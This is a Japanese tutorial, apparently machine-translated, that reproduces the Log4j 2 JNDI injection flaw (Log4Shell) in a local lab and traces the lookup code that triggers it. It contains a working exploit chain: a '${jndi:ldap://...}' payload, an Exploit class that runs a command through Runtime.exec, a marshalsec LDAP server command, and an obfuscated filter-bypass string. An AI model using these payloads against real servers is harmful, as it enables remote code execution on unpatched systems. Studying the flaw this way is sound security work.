記事ディレクトリ
Log4j リモートコード実行の脆弱性
序章
脆弱性の説明
Apache Log4j は Apache のオープンソース プロジェクトです Apache log4j-2 は Log4j のアップグレード版です ログ情報の送信先をコンソール、ファイル、GUI コンポーネントなどで制御できます 各ログ情報のレベルを定義することで、詳細 ログ生成プロセスを制御します。
Log4j-2 には JNDI インジェクションの脆弱性があり、ユーザーが入力したデータをプログラムがログに記録する際にこの脆弱性が引き起こされ、この脆弱性が悪用されると、ターゲット サーバー上で任意のコードが実行される可能性があります。
脆弱性の原則
log4j によって出力されるログの内容に ${jndi:ldap://ip} が含まれている場合、プログラムは Idap プロトコルを通じて ip のアドレスにアクセスし、ip は Java コードを含むクラス ファイルのアドレスを返し、その後、プログラムは通過します。返されたアドレスはクラスファイルをダウンロードして実行します。
影響範囲
Apache Log4j 2.x < 2.15.0-rc2。
脆弱性の再発
Vscode は Maven プロジェクトを作成し、依存関係とpom.xml
コンテンツをインポートします。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>Log4j</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
poc をビルドして脆弱性をテストします。実際には、logger.error のパラメータが Web サイトの入力パラメータになります。ここでは poc を直接テストに入力します。
// LogOut.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LogOut {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:1389/Exploit}");
}
}
悪意のあるスクリプト Exploit.java を構築する
//Exploit.java
public class Exploit {
public static void main(String[] args) throws Exception {
System.out.println("Hello, World!");
try{
String cmd="calc";
Runtime.getRuntime().exec(cmd);
} catch(Exception e){
e.printStackTrace();
}
}
}
クラスファイルにコンパイルします。
javac Exploit.java
LDAP サービスを構築するには、marshalsec-0.0.3-SNAPSHOT-all.jar をダウンロードする必要があります
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
主な機能:
workingBuilder は入力文字列をオフセットに保存します。ここでは、${jndi:ldap://localhost:1389/Exploit}
for ループが入力文字列全体を走査して入力文字列を見つけていることがわかります${
。
フォローアップthis.config.getStrSubstitutor().replace(event, value)
:
置換関数のフォローアップを続けます。
デバッガを見ればprefixMatcher=${
、suffixMatcher=}
次のことがわかりますvalueDelimiterString=:-
。
最後に、${
合計を照合した後}
、${jndi:ldap://localhost:1389/Exploit}
中間コンテンツが正常に抽出されます。jndi:ldap://localhost:1389/Exploit
以下は:-
キー関数this.resolveVariable()
が になるまでは全て同等の処理です。varName
jndi:ldap://localhost:1389/Exploit
継続フォロー、キャッシュバックlookup
機能
lookup 関数が実装できるさまざまなクラスには jndi が含まれており、もちろん他のメソッドも使用していることがわかります。
最終的に、jndi インジェクションがトリガーされます。
同時に、ここで逆アセンブリとアセンブリの操作が実行され、ソース文字列に${::-j}
変更されてj
再マージされようとしていることがわかります。これがバイパスの基本原理です。
ここではマッチング関数が表示されます。 isMatch will match です:-
。
バイパス
上記の分析から、実際には、j が存在する限り:-
、バイパスすることができます。たとえば${${a:-j}${b:-n}${c:-d}${d:-i}:${.:-l}${,:-d}${::-a}${::-p}://localhost:1389/Exploit}
、もちろん、これはバイパスの最も原始的なバージョンにすぎず、最新バージョンはまだ研究されていません。
( ̄y▽, ̄)╭